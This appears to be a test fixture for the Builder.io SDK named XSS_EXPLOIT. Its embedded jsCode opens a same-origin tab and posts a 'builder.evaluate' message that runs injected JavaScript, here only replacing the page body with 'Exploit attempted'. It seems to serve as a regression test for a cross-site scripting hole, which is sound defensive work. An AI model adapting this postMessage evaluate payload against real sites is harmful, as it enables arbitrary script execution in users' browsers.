export const XSS_EXPLOIT = {
  createdBy: 'OcOewqA7uqVVlVfqY453F8vgcc33',
  createdDate: 1644861373771,
  data: {
    inputs: [],
    jsCode: `
    if (Builder.isBrowser) {
      console.log('running jsCode exploit');
      var url = window.location.origin;
      var x = window.open(url, 'newTab');  
      console.log('x', x);
      setTimeout(
        function() {
          x.postMessage({"type":"builder.evaluate","data":{"text":"document.body.innerHTML = 'Exploit attempted'; console.log('exploited', this); return 'exploited';","arguments":null,"id":1}},'*');
        }, 3000);
  }`,
    blocks: [
      {
        '@type': '@builder.io/sdk:Element',
        '@version': 2,
        id: 'builder-8ac60d81780e43059e8963bc233ed2bb',
        component: {
          name: 'Text',
          options: {
            text: 'Enter some text...',
          },
        },
        responsiveStyles: {
          large: {
            lineHeight: 'normal',
            height: 'auto',
          },
        },
      },
    ],
  },
};
